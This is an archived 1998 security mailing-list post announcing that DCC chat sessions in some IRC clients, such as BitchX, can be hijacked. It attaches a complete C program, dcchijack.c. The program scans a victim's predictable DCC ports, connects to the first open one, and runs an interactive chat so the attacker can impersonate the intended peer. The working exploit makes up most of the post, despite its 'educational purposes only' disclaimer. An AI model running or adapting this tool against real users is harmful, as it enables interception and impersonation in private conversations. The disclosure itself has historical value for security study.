Irc: another funny stuff. In some irc clients dcc may be hijacked.

From: awgnat_private
Date: Sat Dec 19 1998 - 04:58:04 PST

  • Next message: Geoffrey Huntley: "FTP.SODRE.NET Hacked... Eggdrop Modified.."

    This is a multi-part message in MIME format.
    --------------1350938954EAD0D34012BAE8
    Content-Type: text/plain; charset=us-ascii
    Content-Transfer-Encoding: 7bit
    
    I just found a funny bug playing with some irc-client. DCC-chat may be
    hijacked...
    
    The trouble comes while clients bind port to accept or request a dcc
    CHAT/SEND/ or RECEIVE.
    Being this a simple TCP connection without any ip control.. the way to
    exploit is trivial.
    
    Here we go:
    
    B , the hi-jacker wants to have fun with A. So he first creates a dcc
    connection with A,
    getting the port binded.
    
    Now A is under attack since next ports used to create connections will
    be quite consecutive to the first one. BitchX and IRCepic seem to be
    affected with this matter. ( other clients???)
    
    Now A tries to /dcc chat C, but this is just a bit lagged. ( C maybe a
    bot? )
    B , using the following source, is going to assume the identity of C
    except for his host. :-)
    
    I simply implemented some routines of my hailscan to guess which is the
    port binded.
    When it finds an open port, it establish a connection running a kinda
    irc-client.
    
    All of this is just for educational purpose only.
    
    The source provided herein can be improved for better results.
    
    
    awgnat_private
         coding&networking division.
    --------------1350938954EAD0D34012BAE8
    Content-Type: text/plain; charset=us-ascii;
     name="dcchijack.c"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: inline;
     filename="dcchijack.c"
    
    /* Dcc hijack (c) 1998 awgnat_private
     *
     * Some pieces of this code are ripped from hailscan v 1.9908.
     * available at www.dislessici.org. ( hosted at cosmos.it )
     *
     * CREDITS:     cosmos.it -> this isp r0x!!!! ( Thansk to spiderat_private )
     *              kasko, antirez & gigi_sull @seclab.com
     *
     * GREETINGS:   *@dislessici.org , #hackers@ircity rappo,filo,cyber,litos,lordfelix...
     *              Sir-Alex: take it easy... only God knows the truth ;-).
     *              Thor: everyone is missing you.
     *              Jwk, jam, zorro , c1rp0, megat0n -> how is going your parser ? ;)
     *
     *              #hackersat_private ( expecially to my buddy nigr zerox)
     *              #americaat_private  ( dedicated to my bro' sartre, exx & jeanlucP )
     *              #hackers.it@ircnet    ( m0f0z - radon - Nail^d0d )
     *
     *              NERVOUS! -> how can i forget your nick? hehe
     *
     * Tested on Linux and *BSD.
     *
     * This code is provided for educational purposes only. */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <errno.h>
    
    #define MAXSOCKET 32
    #define TIMEOUT   10
    
    
    struct sockaddr_in newsock;
    
    
    struct sweep {
      int sock;
      short port;
      long sec;
      long usec;
      struct sweep *next;
    
    };
    
    
    struct sweep *sheet, *top_sheet;
    int csock = 0;
    
    int portcounter;
    
    
    int
    set_nonblock (int s)
    {
      int val = 0;
      if ((val = fcntl (s, F_GETFL, val)) == -1)
        return -1;
      val |= O_NONBLOCK;
      fcntl (s, F_SETFL, val);
      return 0;
    }
    
    
    int
    time_out (long int sec_a, long int usec_a, long int sec_b, long int usec_b, int time_max)
    {
      if ((((sec_a - sec_b) == time_max) && (usec_a > usec_b)) || ((sec_a - sec_b) > time_max))
        return 1;
    
      return 0;
    }
    
    int
    push_sockets (void)
    {
    
      struct timeval actually;
    
      gettimeofday (&actually, NULL);
    
      if (!sheet->sock) {
        sheet->sock = socket (AF_INET, SOCK_STREAM, 0);
        if (set_nonblock (sheet->sock) == -1)
          return 0;
    
        sheet->sec = actually.tv_sec;
        sheet->usec = actually.tv_usec;
    
        sheet->port = portcounter++;
    
      } else
        return 0;
    
      return 1;
    
    }
    
    
    
    u_long
    getnbobyname (u_char * host)
    {
      struct in_addr addr;
      struct hostent *host_ent;
    
      if ((addr.s_addr = inet_addr (host)) == -1) {
        if (!(host_ent = gethostbyname (host))) {
          fprintf (stderr, "gethostbyname() or inet_addr() err:%s\n", strerror (errno));
          return 0;
        }
        bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
      }
      return addr.s_addr;
    }
    
    
    void
    client (int s, char *str)
    {
    
      FILE *in, *out;
      char in_line[1024];
      char out_line[1024];
    
      in = fdopen (s, "r");
      out = fdopen (s, "a");
    
      setlinebuf (in);
      setlinebuf (out);
    
      set_nonblock (s);
    
    
      printf ("\nGotcha!\nDCC hijacked.\n\n\n");
    
      while (1) {
    
        while (fgets (in_line, 1024, in))
          printf ("<%s> %s", str, in_line);
    
        fgets (out_line, 1024, stdin);
        if (strlen (out_line) > 1)
          fprintf (out, "%s", out_line);
    
      }
    
      exit (0);
    }
    
    
    
    void
    usage (char *name)
    {
    
      fprintf (stderr, "\ndcc-hijack (c) 1998 awgnat_private\n\n");
      fprintf (stderr, "usage: %s host.of.dcc.asker baseport\n", name);
    
      exit (1);
    
    }
    
    
    
    void
    scan (unsigned long int a, int *out, unsigned short int *port)
    {
      struct timeval now;
      int i = 0;
    
      *out = 0;
      *port = 0;
    
    
      sheet = (struct sweep *) malloc (sizeof (struct sweep));
      top_sheet = sheet;
    
      for (; i < MAXSOCKET; i++) {
        sheet->sock = 0;
        sheet->next = (struct sweep *) malloc (sizeof (struct sweep));
        sheet = sheet->next;
        sheet->next = NULL;
      }
    
      sheet = top_sheet;
    
    
      newsock.sin_addr.s_addr = a;
      newsock.sin_family = AF_INET;
    
    
      while (1) {
    
    
        while (sheet->next) {
    
          gettimeofday (&now, NULL);
    
          if (!sheet->sock)
            push_sockets ();
          else {
            if (time_out (now.tv_sec, now.tv_usec, sheet->sec, sheet->usec, TIMEOUT))
              sheet->sock = 0;
    
            else {
    
              newsock.sin_port = htons ((u_short) sheet->port);
    
              if (connect (sheet->sock, (struct sockaddr *) &newsock, sizeof (newsock)) == 0) {
                *out = sheet->sock;
                *port = sheet->port;
                return;
              } else
                switch (errno) {
                case EISCONN:
                  *out = sheet->sock;
                  *port = sheet->port;
                    return;
                  break;
    
                  case ETIMEDOUT:
                  case EINVAL:
                  case ECONNREFUSED:
                  case EADDRNOTAVAIL:
                    close(sheet->sock);
                    sheet->sock=0;
                    break;
                               }
    
                  }
             }
    
          sheet = sheet->next;
    
        }
    
        sheet = top_sheet;
    
      }
    
    
    
      return;
    
    }
    
    
    int
    main (int argc, char **argv)
    {
      int nb0 = 0;
      int sock = 0;
      unsigned short port_guessed = 0;
    
    
      if (argc < 3)
        usage (argv[0]);
    
      if (!(nb0 = (u_long) getnbobyname ((char *) argv[1]))) {
        fprintf (stderr, "argv[1] err: which kind of host/ip did you pass me?\n");
        exit (1);
      }
      if (!(portcounter = atoi (argv[2]))) {
        fprintf (stderr, "port() err: which kind of port did you pass me?\n");
        exit (1);
      }
    
      scan (nb0, &sock, &port_guessed);
    
      if (!sock || !port_guessed) {
        fprintf (stderr, "Sorry: no port found.\nDCC between clients may be already estabilished.\n");
        exit (1);
      }
    
      client (sock, argv[1]);
    
    
      return 0;
    
    }
    
    --------------1350938954EAD0D34012BAE8--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:25:16 PDT